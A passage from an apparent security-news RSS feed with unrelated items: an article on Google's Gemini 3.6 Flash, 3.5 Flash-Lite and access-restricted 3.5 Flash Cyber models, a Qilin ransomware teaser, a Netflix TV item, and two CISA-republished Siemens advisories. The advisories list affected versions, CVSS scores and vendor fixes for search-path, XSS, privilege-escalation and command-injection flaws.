Gemini 3.6 Flash arrives at the correct answer faster and cheaper.</p><p>While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."</p><p>The official model cards released by Google reveal that both <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-6-Flash-Model-Card.pdf">Gemini 3.6 Flash</a> and <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-5-Flash-Lite-Model-Card.pdf">Gemini 3.5 Flash-Lite</a> feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.</p><h2><b>Respectable benchmark performance at low cost</b></h2><p>The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. </p><p>It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. </p><p>The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.</p><p>To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. </p><p>The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.</p><h2>M<b>odels for low-cost coding, agentic, and cybersecurity use cases — respectively</b></h2><p>Google divided its new offerings into three distinct products tailored for different operational needs. </p><p>Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.</p><p>Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. </p><p>As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. <a href="https://artificialanalysis.ai/articles/gemini-3-6-flash-3-5-flash-lite-halving-time">Artificial Analysis notes</a> this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.</p><p>Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. </p><p>Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. </p><p>The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.</p><p>The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. </p><p>In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark. </p><p>Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.</p><h2><b>Commercial licensing only</b></h2><p>The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.</p><p>An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. </p><p>This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.</p><p>The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6. </p><p>In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.</p><h2><b>Looking ahead</b></h2><p>Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, </p><p>the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.</p><p>Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. </p><p>Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.</p>]]></content:encoded>
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<title><![CDATA[Qilin Ransomware Claims 1,358 Victims as Global Attacks Reach New Record]]></title>
<description><![CDATA[Qilin ransomware has grown from a fast-moving criminal operation into one of the most visible threats in the global extortion landscape. The group encrypts systems and steals data, then pressures victims with the risk of public leaks. Its campaigns have disrupted organizations across sectors and ...]]></description>
<link>https://tsecurity.de/de/3684663/it-security-nachrichten/qilin-ransomware-claims-1358-victims-as-global-attacks-reach-new-record/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684663/it-security-nachrichten/qilin-ransomware-claims-1358-victims-as-global-attacks-reach-new-record/</guid>
<pubDate>Tue, 21 Jul 2026 21:02:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Qilin ransomware has grown from a fast-moving criminal operation into one of the most visible threats in the global extortion landscape. The group encrypts systems and steals data, then pressures victims with the risk of public leaks. Its campaigns have disrupted organizations across sectors and countries, creating both operational and reputational damage. Ransomware groups increasingly […]</p>
<p>The post <a href="https://cybersecuritynews.com/qilin-ransomware-claims-1358-victims/">Qilin Ransomware Claims 1,358 Victims as Global Attacks Reach New Record</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[‘SEAL Team’ Confirms Netflix Release Date, Multiple Seasons Arrive This August]]></title>
<description><![CDATA[SEAL Team is officially heading to Netflix in the United States, with multiple seasons scheduled to arrive on August 18, 2026. The release gives military drama fans a major new series to watch before summer ends.



How Many Seasons Are Coming to Netflix?



Netflix has confirmed that more than o...]]></description>
<link>https://tsecurity.de/de/3684521/ios-mac-os/seal-team-confirms-netflix-release-date-multiple-seasons-arrive-this-august/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684521/ios-mac-os/seal-team-confirms-netflix-release-date-multiple-seasons-arrive-this-august/</guid>
<pubDate>Tue, 21 Jul 2026 19:49:34 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[SEAL Team is officially heading to Netflix in the United States, with multiple seasons scheduled to arrive on August 18, 2026. The release gives military drama fans a major new series to watch before summer ends.



How Many Seasons Are Coming to Netflix?



Netflix has confirmed that more than one season will become available, although the exact number has not been announced. The show has seven completed seasons, so Netflix has a large collection of episodes to choose from.



More information could arrive when Netflix publishes its full August 2026 release schedule. For now, viewers can expect at least two seasons when the series joins the service.



The Netflix release forms part of a licensing agreement involving several Paramount-owned shows. It follows other licensed dramas that have recently expanded beyond their original streaming homes.



What Is ‘SEAL Team’ About?



SEAL Team follows Bravo Team, an elite unit of United States Navy SEALs that handles dangerous missions around the world. The story covers mission planning, combat operations, family pressures and the lasting effects of military service.



David Boreanaz leads the cast as Jason Hayes, the experienced leader of Bravo Team. The main cast also includes Max Thieriot, Neil Brown Jr., A.J. Buckley, Toni Trucks and Jessica Paré.



The series first premiered on CBS in September 2017. It remained on broadcast television for its first four seasons before moving to Paramount+ during Season 5.



That move allowed the series to feature more mature storytelling, stronger language and darker mission-related themes. It eventually ended with its seventh and final season in October 2024. The complete series includes 114 episodes.



Is This the Animated ‘Seal Team’ Movie?



The incoming title is the live-action military drama starring David Boreanaz. It is separate from Netflix’s animated 2021 movie Seal Team, which follows a group of seals fighting sharks.



Multiple seasons of SEAL Team will begin streaming on Netflix US on August 18, 2026, giving existing fans another place to revisit Bravo Team’s missions while introducing the finished series to a wider audience.]]></content:encoded>
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<title><![CDATA[Siemens IAM Client]]></title>
<description><![CDATA[View CSAF
Summary
Multiple Siemens products are affected by unquoted search path vulnerability in IAM Client. This could allow an authenticated local attacker to perform privilege escalation. Siemens has released new versions for several affected products and recommends to update to the latest ve...]]></description>
<link>https://tsecurity.de/de/3684509/it-security-nachrichten/siemens-iam-client/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684509/it-security-nachrichten/siemens-iam-client/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-05.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Multiple Siemens products are affected by unquoted search path vulnerability in IAM Client. This could allow an authenticated local attacker to perform privilege escalation. Siemens has released new versions for several affected products and recommends to update to the latest versions. Siemens is preparing further fix versions and recommends countermeasures for products where fixes are not, or not yet available.</strong></p>
<p>The following versions of Siemens IAM Client are affected:</p>
<ul>
<li>COMOS V10.4.5 vers:intdot/&lt;10.4.5.0.2 </li>
<li>COMOS V10.6 vers:intdot/&lt;10.6.1 </li>
<li>Designcenter NX vers:intdot/&lt;2512.7000 </li>
<li>Simcenter 3D vers:intdot/&lt;2512.7000 </li>
<li>Simcenter Femap V2506 vers:intdot/&lt;2506.0003 </li>
<li>Simcenter Femap V2512 vers:intdot/&lt;2512.0002 </li>
<li>Simcenter Nastran vers:intdot/&lt;2606 </li>
<li>Simcenter STAR-CCM+ vers:intdot/&lt;2606 </li>
<li>Solid Edge SE2025 vers:intdot/&lt;225.0.13.3 </li>
<li>Solid Edge SE2026 vers:intdot/&lt;226.0.04.003 </li>
<li>Teamcenter Visualization V2412 vers:intdot/&lt;2412.0012 </li>
<li>Teamcenter Visualization V2506 vers:intdot/&lt;2506.0009 </li>
<li>Teamcenter Visualization V2512 vers:intdot/&lt;2512.2605 </li>
<li>Tecnomatix Plant Simulation V2404 vers:intdot/&lt;2404.0022 </li>
<li>Tecnomatix Plant Simulation V2504 vers:intdot/&lt;2504.0010 </li>
<li>Tecnomatix Process Simulate vers:intdot/&lt;2606 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 6.7</td>
<td>Siemens</td>
<td>Siemens IAM Client</td>
<td>Untrusted Search Path</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Chemical, Critical Manufacturing, Energy</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40945</a></h3>
<div class="csaf-accordion-content">
<p>Untrusted search path in IAM Client SDK may allow an authenticated user to potentially enable escalation of privilege via local access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40945">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens IAM Client</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>COMOS V10.4.5 &lt; V10.4.5.0.2, COMOS V10.6 &lt; V10.6.1, Designcenter NX &lt; V2512.7000, Simcenter 3D &lt; V2512.7000, Simcenter Femap V2506 &lt; V2506.0003, Simcenter Femap V2512 &lt; V2512.0002, Simcenter Nastran &lt; V2606, Simcenter STAR-CCM+ &lt; V2606, Solid Edge SE2025 &lt; V225.0.13.3, Solid Edge SE2026 &lt; V226.0.04.003, Teamcenter Visualization V2412 &lt; V2412.0012, Teamcenter Visualization V2506 &lt; V2506.0009, Teamcenter Visualization V2512 &lt; V2512.2605, Tecnomatix Plant Simulation V2404 &lt; V2404.0022, Tecnomatix Plant Simulation V2504 &lt; V2504.0010, Tecnomatix Process Simulate &lt; V2606</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V10.6.1 or later version<br><a href="https://support.sw.siemens.com/product/222981661/">https://support.sw.siemens.com/product/222981661/</a></p>
<p><strong>Vendor fix</strong><br>Update to V225.0 Update 13 or later version<br><a href="https://support.sw.siemens.com/product/246738425/">https://support.sw.siemens.com/product/246738425/</a></p>
<p><strong>Vendor fix</strong><br>Update to V226.0 Update 04 or later version<br><a href="https://support.sw.siemens.com/product/246738425/">https://support.sw.siemens.com/product/246738425/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2404.0022 or later version<br><a href="https://support.sw.siemens.com/product/297028302/">https://support.sw.siemens.com/product/297028302/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2412.0012 or later version<br><a href="https://support.sw.siemens.com/product/229029598/">https://support.sw.siemens.com/product/229029598/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2504.0010 or later version<br><a href="https://support.sw.siemens.com/product/297028302/">https://support.sw.siemens.com/product/297028302/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2506.0003 or later version<br><a href="https://support.sw.siemens.com/product/275652363/">https://support.sw.siemens.com/product/275652363/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2506.0009 or later version<br><a href="https://support.sw.siemens.com/product/229029598/">https://support.sw.siemens.com/product/229029598/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2512.0002 or later version<br><a href="https://support.sw.siemens.com/product/275652363/">https://support.sw.siemens.com/product/275652363/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2512.2605 or later version<br><a href="https://support.sw.siemens.com/product/229029598/">https://support.sw.siemens.com/product/229029598/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2512.7000 or later version<br><a href="https://support.sw.siemens.com/product/209349590/">https://support.sw.siemens.com/product/209349590/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2512.7000 or later version<br><a href="https://support.sw.siemens.com/product/289054037/">https://support.sw.siemens.com/product/289054037/</a></p>
<p><strong>Vendor fix</strong><br>Update to V2606 or later version<br><a href="https://support.sw.siemens.com/product/289054037/">https://support.sw.siemens.com/product/289054037/</a></p>
<p><strong>Vendor fix</strong><br>Update to V10.4.5.0.2 or later version. Contact customer support to receive patch and update information</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/426.html">CWE-426 Untrusted Search Path</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported this vulnerability to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-288252 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-288252 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW]]></title>
<description><![CDATA[View CSAF
Summary
Palo Alto Networks has published [1] information on vulnerabilities in PAN-OS. This advisory lists the related Siemens Industrial products affected by these vulnerabilities. Customers are advised to consult and implement the workarounds provided in Palo Alto Networks' upstream s...]]></description>
<link>https://tsecurity.de/de/3684508/it-security-nachrichten/siemens-ruggedcom-ape1808-with-palo-alto-networks-virtual-ngfw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684508/it-security-nachrichten/siemens-ruggedcom-ape1808-with-palo-alto-networks-virtual-ngfw/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-02.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Palo Alto Networks has published [1] information on vulnerabilities in PAN-OS. This advisory lists the related Siemens Industrial products affected by these vulnerabilities. Customers are advised to consult and implement the workarounds provided in Palo Alto Networks' upstream security notifications. [1] https://security.paloaltonetworks.com/</strong></p>
<p>The following versions of Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW are affected:</p>
<ul>
<li>RUGGEDCOM APE1808 vers:all/* </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.2</td>
<td>Siemens</td>
<td>Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Missing Authorization, Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-0266</a></h3>
<div class="csaf-accordion-content">
<p>A cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS® software enables a malicious authenticated administrator to store a JavaScript payload using the web interface. This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW and Prisma® Access are not affected by this vulnerability.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-0266">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Contact customer support to receive patch and update information</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>2.4</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-0272</a></h3>
<div class="csaf-accordion-content">
<p>A privilege escalation vulnerability in Palo Alto Networks PAN-OS® software allows an authenticated administrator with access to the Command Line Interface (CLI) to perform actions on the device with root privileges. The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW, and Prisma® Access are not impacted by this vulnerability.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-0272">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Contact customer support to receive patch and update information</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/862.html">CWE-862 Missing Authorization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-0273</a></h3>
<div class="csaf-accordion-content">
<p>A command injection vulnerability in Palo Alto Networks PAN-OS® software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI or Web UI. The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW and Prisma® Access are not affected by this vulnerability.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-0273">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Contact customer support to receive patch and update information</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/78.html">CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
